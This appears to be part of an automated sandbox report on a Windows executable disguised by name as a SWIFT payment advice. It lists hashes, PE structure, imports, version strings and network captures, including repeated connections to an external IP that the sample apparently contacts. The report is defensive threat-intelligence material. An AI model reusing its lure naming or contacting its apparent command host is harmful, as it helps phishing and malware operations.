Process:	C:\Program Files (x86)\Internet Explorer\ieinstal.exe
File Type:	data
Category:	dropped
Size (bytes):	450
Entropy (8bit):	0.95853443959644
Encrypted:	false
SSDEEP:	3:/lvlLFlvlLFlvlLFlvlLFlvlp:LVVV3
MD5:	4C69543CC021AEC1EFB640FDF5DD2F16
SHA1:	347AA81846DD5797E1A6A85D9B1CAF9E3BF36EFF
SHA-256:	91B97E7BCC50DDC0792D5CEF438D56895955F29D5121994CE0A43E78D23CBD7E
SHA-512:	09627F4C8875300AD045B011B66A91D374581A65DEAA75FE1F95C2322BE747EE17893C5F27433B52BD7CE90412D0C08C5980F6BEB2907027F2142BFDAAABCB3B
Malicious:	false
Reputation:	low
Preview:	........................................user...........................................................................................user...........................................................................................user...........................................................................................user...........................................................................................user.

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.224475355355028
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SWIFT Payment Advise 39 430-25.exe
File size:	90112
MD5:	758028b3f6c428890bf423f4bf61493f
SHA1:	f23458e2f4b1ec7b1b626892878fbc8a81bcc8d6
SHA256:	7e2f0e6ba024408d3b889101de8ab48b3592b465e7a33c95c4fbcb5a4c912fb7
SHA512:	edec88afa520fcf43119a293810b1e2eaf2ff6c8d4c860c2d2862686d8b3bafff5e76bfd5b733b60f98532209caeaa3d324cc04078959f646239cb0e3120280d
SSDEEP:	768:+M3sZY/kPxOwOJu9LydptAQe9Pjm1j+BDMlf4tgTQx5dauPDJO1SiSjwvJ:BsZY/kZOwhtydtehuj+BOfs5Od
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W...W...W...K...W...u...W...q...W..Rich.W..........................PE..L...&..P.................0...`......`........@....@

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General
Entrypoint:	0x401460
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x50F6E326 [Wed Jan 16 17:28:06 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	281390d21b787569ccc2303fd6dad5ce

Entrypoint Preview

Instruction
push 00401650h
call 00007F8C549F1C73h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, dl
mov ah, ch
pop ds
sbb ebx, dword ptr [ebx]
mov edi, 8BCA814Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x13474	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19000	0x9d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x238	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x118	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x12948	0x13000	False	0.413522820724	data	5.69403723922	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x14000	0x45d8	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x19000	0x9d4	0x1000	False	0.178466796875	data	2.13575147568	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x198a4	0x130	data
RT_ICON	0x195bc	0x2e8	data
RT_ICON	0x19494	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x19464	0x30	data
RT_VERSION	0x19150	0x314	data

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaAryMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, __vbaEnd, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaVarForInit, __vbaObjSet, _adj_fdiv_m16i, _adj_fdivr_m16i, __vbaFpR8, __vbaVarTstLt, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, DllFunctionCall, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaNew2, __vbaVar2Vec, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarDup, __vbaStrToAnsi, __vbaFpI4, _CIatan, __vbaCastObj, __vbaStrMove, _allmul, _CItan, __vbaVarForNext, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Freak Class
InternalName	Plateaued1
FileVersion	1.00
CompanyName	Freak Class
LegalTrademarks	Freak Class
Comments	Freak Class
ProductName	Freak Class
ProductVersion	1.00
FileDescription	Freak Class
OriginalFilename	Plateaued1.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2021 09:07:48.598371983 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:48.643932104 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:48.644054890 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:48.645006895 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:48.690490007 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:48.703102112 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:48.703159094 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:48.703186989 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:48.703210115 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:48.703232050 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:48.703274012 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:48.717717886 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:48.763536930 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:48.763689995 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:48.764540911 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:48.814651966 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.009479046 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.009500027 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.009517908 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.009535074 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.009551048 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.009659052 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.009728909 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.012581110 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.012599945 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.012690067 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.012713909 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.015794992 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.015815973 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.015875101 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.015896082 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.018996954 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.019026995 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.019085884 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.019109011 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.022227049 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.022248030 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.022308111 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.022341967 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.024789095 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.024808884 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.024858952 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.024892092 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.055063009 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.055089951 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.055161953 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.056919098 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.056942940 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.056982040 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.057019949 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.060045958 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.060075045 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.060106993 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.060146093 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.063033104 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.063064098 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.063123941 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.063155890 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.066437960 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.066462994 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.066499949 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.066641092 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.069379091 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.069436073 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.069468021 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.069503069 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.072921991 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.072949886 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.072988033 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.073013067 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.075773954 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.075797081 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.075867891 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.075896978 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.078938007 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.078963995 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.079004049 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.079030991 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.082005978 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.082027912 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.082108974 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.085016966 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.085052013 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.085094929 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.085115910 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.087999105 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.088020086 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.088079929 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.088099957 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.090986013 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.091017962 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.091087103 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.091118097 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.094185114 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.094208956 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.094254971 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.094276905 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.097011089 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.097044945 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.097079039 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.097109079 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.100568056 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.100600958 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.100676060 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.100697994 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.102246046 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.102267027 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.102432966 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.104556084 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.104584932 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.104633093 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.104657888 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.106744051 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.106776953 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.106844902 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.106873989 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.108927011 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.108958006 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.108999014 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.109025955 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.111047029 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.111073017 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.111120939 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.111145973 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.112934113 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.112977028 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.113008022 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.113035917 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.114929914 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.114960909 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.115005016 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.115047932 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.116905928 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.116935968 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.116986036 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.117014885 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.118861914 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.118891001 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.118957996 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.118988037 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.120819092 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.120851994 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.120903015 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.120942116 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.122793913 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.122812986 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.122889042 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.124798059 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.124824047 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.124888897 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.124943018 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.126730919 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.126764059 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.126797915 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.126840115 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.128693104 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.128727913 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.128781080 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.128812075 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.130654097 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.130676985 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.130737066 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.130764961 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.132613897 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.132636070 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.132683992 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.132937908 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.134579897 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.134610891 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.134645939 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.134671926 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.136595964 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.136621952 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.136668921 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.136701107 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.138489008 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.138520002 CEST	443	49708	216.58.215.225	192.168.2.7
Apr 12, 2021 09:07:49.138549089 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:49.138572931 CEST	49708	443	192.168.2.7	216.58.215.225
Apr 12, 2021 09:07:50.995704889 CEST	49709	80	192.168.2.7	194.5.178.163
Apr 12, 2021 09:07:54.067856073 CEST	49709	80	192.168.2.7	194.5.178.163
Apr 12, 2021 09:08:00.084024906 CEST	49709	80	192.168.2.7	194.5.178.163
Apr 12, 2021 09:08:12.683059931 CEST	49715	80	192.168.2.7	194.5.178.163
Apr 12, 2021 09:08:15.679035902 CEST	49715	80	192.168.2.7	194.5.178.163
Apr 12, 2021 09:08:21.679600000 CEST	49715	80	192.168.2.7	194.5.178.163
Apr 12, 2021 09:08:34.637435913 CEST	49717	80	192.168.2.7	194.5.178.163
Apr 12, 2021 09:08:37.649661064 CEST	49717	80	192.168.2.7	194.5.178.163
Apr 12, 2021 09:08:43.665740967 CEST	49717	80	192.168.2.7	194.5.178.163
Apr 12, 2021 09:08:55.808497906 CEST	49735	80	192.168.2.7	194.5.178.163

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2021 09:06:36.242970943 CEST	61242	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:06:36.291995049 CEST	53	61242	8.8.8.8	192.168.2.7
Apr 12, 2021 09:06:38.411036968 CEST	58562	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:06:38.469515085 CEST	53	58562	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:01.964020967 CEST	56590	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:02.029580116 CEST	53	56590	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:07.087543011 CEST	60501	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:07.136581898 CEST	53	60501	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:12.467433929 CEST	53775	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:12.518182993 CEST	53	53775	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:29.937313080 CEST	51837	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:29.988806009 CEST	53	51837	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:31.541711092 CEST	55411	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:31.590414047 CEST	53	55411	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:47.708326101 CEST	63668	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:47.773395061 CEST	53	63668	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:48.300764084 CEST	54640	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:48.349626064 CEST	53	54640	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:48.514470100 CEST	58739	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:48.592413902 CEST	53	58739	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:50.652332067 CEST	60338	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:50.994090080 CEST	53	60338	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:53.984365940 CEST	58717	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:54.035808086 CEST	53	58717	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:55.852821112 CEST	59762	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:55.901554108 CEST	53	59762	8.8.8.8	192.168.2.7
Apr 12, 2021 09:07:56.777328968 CEST	54329	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:07:56.826278925 CEST	53	54329	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:01.756891966 CEST	58052	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:01.815680027 CEST	53	58052	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:07.905358076 CEST	54008	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:07.954016924 CEST	53	54008	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:12.613359928 CEST	59451	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:12.672434092 CEST	53	59451	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:21.194430113 CEST	52914	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:21.245867968 CEST	53	52914	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:34.574978113 CEST	64569	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:34.635107994 CEST	53	64569	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:35.324676037 CEST	52816	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:35.373492002 CEST	53	52816	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:40.045149088 CEST	50781	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:40.113033056 CEST	53	50781	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:40.921453953 CEST	54230	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:40.970021009 CEST	53	54230	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:45.084790945 CEST	54911	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:45.133462906 CEST	53	54911	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:46.929852962 CEST	49958	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:46.982414007 CEST	53	49958	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:48.553877115 CEST	50860	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:48.602652073 CEST	53	50860	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:50.361248970 CEST	50452	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:50.418330908 CEST	53	50452	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:52.272304058 CEST	59730	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:52.362983942 CEST	53	59730	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:52.822804928 CEST	59310	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:52.885870934 CEST	53	59310	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:53.434803009 CEST	51919	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:53.495085955 CEST	53	51919	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:54.140201092 CEST	64296	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:54.250591040 CEST	53	64296	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:54.717360973 CEST	56680	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:54.779048920 CEST	53	56680	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:55.310853004 CEST	58820	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:55.369240046 CEST	53	58820	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:55.726608992 CEST	60983	53	192.168.2.7	8.8.8.8
Apr 12, 2021 09:08:55.789849043 CEST	53	60983	8.8.8.8	192.168.2.7
Apr 12, 2021 09:08:55.855614901 CEST	49247	53	192.168.2.7	8.8.8.8
